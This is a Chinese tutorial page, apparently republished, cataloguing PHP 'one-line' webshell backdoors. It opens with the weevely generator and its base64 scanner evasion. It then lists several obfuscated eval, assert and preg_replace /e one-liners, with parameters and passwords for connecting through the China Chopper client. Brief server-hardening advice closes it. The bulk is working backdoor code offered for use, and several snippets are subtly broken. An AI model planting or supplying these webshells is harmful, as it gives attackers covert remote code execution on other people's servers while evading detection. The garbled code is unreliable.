最模板 - 外贸网站建设,外贸网站模板

最模板

当前位置: 首页 > 建站教程 > php教程 >

那些强悍的PHP一句话后门[转](2)

时间:2014-05-31 02:31来源:未知 作者:最模板zuimoban 点击:
PHP后门生成工具weevely weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使

PHP后门生成工具weevely

weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通过weevely直接运行。

weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。

以上是大概介绍,相关使用方法亦家就不在这介绍了,简单的科普一下。

三个变形的一句话PHP木马
第一个

1 <?php ( $_ =@ $_GET [2]).@ $_ ( $_POST [1])?>

 

在菜刀里写http://site/1.php?2=assert密码是1

第二个

1      <?php 
2 $_ = "" 
3 $_ [+ "" ]= '' 
4 $_ = "$_" . "" 
5 $_ =( $_ [+ "" ]| "" ).( $_ [+ "" ]| "" ).( $_ [+ "" ]^ "" ); 
6 ?> 
7 <?php ${ '_' . $_ }[ '_' ](${ '_' . $_ }[ '__' ]);?>

 

在菜刀里写http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass。如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是post提交的。

第三个

1 ( $b4dboy  $_POST [ 'b4dboy' ]) && @preg_replace( '/ad/e' , '@' . str_rot13 ('riny' ). '($b4dboy)'  'add' );

 

str_rot13(‘riny’)即编码后的eval,完全避开了关键字,又不失效果,让人吐血!

最后列几个高级的PHP一句话木马后门:

01      1、 
02 $hh  "p" . "r" . "e" . "g" . "_" . "r" . "e" . "p" . "l" . "a" . "c" . "e" 
03 $hh ( "/[discuz]/e" , $_POST [ 'h' ], "Access" ); 
04 //菜刀一句话 
05 2、 
06 $filename = $_GET [ 'xbid' ]; 
07 include ( $filename ); 
08 //危险的include函数,直接编译任何文件为php格式运行 
09 3、 
10 $reg = "c" . "o" . "p" . "y" 
11 $reg ( $_FILES [MyFile][tmp_name], $_FILES [MyFile][name]); 
12 //重命名任何文件 
13 4、 
14 $gzid  "p" . "r" . "e" . "g" . "_" . "r" . "e" . "p" . "l" . "a" . "c" . "e" 
15 $gzid ( "/[discuz]/e" , $_POST [ 'h' ], "Access" ); 
16 //菜刀一句话 
17 5、 include ( $uid ); 
18 //危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif 
19 //gif插一句话 
20 6、典型一句话 
21 程序后门代码 
22 <?php eval_r( $_POST [sb])?> 
23 程序代码 
24 <?php @eval_r( $_POST [sb])?> 
25 //容错代码 
26 程序代码 
27 <?php assert( $_POST [sb]);?> 
28 //使用lanker一句话客户端的专家模式执行相关的php语句 
29 程序代码 
30 <? $_POST [ 'sa' ]( $_POST [ 'sb' ]);?> 
31 程序代码 
32 <? $_POST [ 'sa' ]( $_POST [ 'sb' ], $_POST [ 'sc' ])?> 
33 程序代码 
34 <?php 
35 @preg_replace( "/[email]/e" , $_POST [ 'h' ], "error" ); 
36 ?> 
37 //使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入 
38 程序代码 
39 <O>h=@eval_r( $_POST1 );</O> 
40 程序代码 
41 <script language= "php" >@eval_r( $_POST [sb])</script> 
42 //绕过<?限制的一句话

 

综上,这些PHP一句话后门可谓五脏俱全,一不小心您肯定中招了,而我们今天这篇文章的重中之重在哪呢?重点就在下边的总结!

如何应对PHP一句话后门:

我们强调几个关键点,看这文章的你相信不是门外汉,我也就不啰嗦了:

 

    1,对PHP程序编写要有安全意识2,服务器日志文件要经常看,经常备份3,对每个站点进行严格的权限分配4,对动态文件及目录经常批量安全审查5,学会如何进行手工杀毒《即行为判断查杀》6,时刻关注,或渗入活跃的网络安全营地7,对服务器环境层级化处理,哪怕一个函数也可做规则

我们认为当管理的站点多了,数据量大时,我们应合理应用一些辅助工具,但不应完全依赖这些工具,技术是时刻在更新进步的,最为重要的是你应学会和理解,编写这些强悍后门的人所处思维,角色上的换位可为你带来更大的进步。

(责任编辑:最模板)
------分隔线----------------------------
栏目列表
推荐内容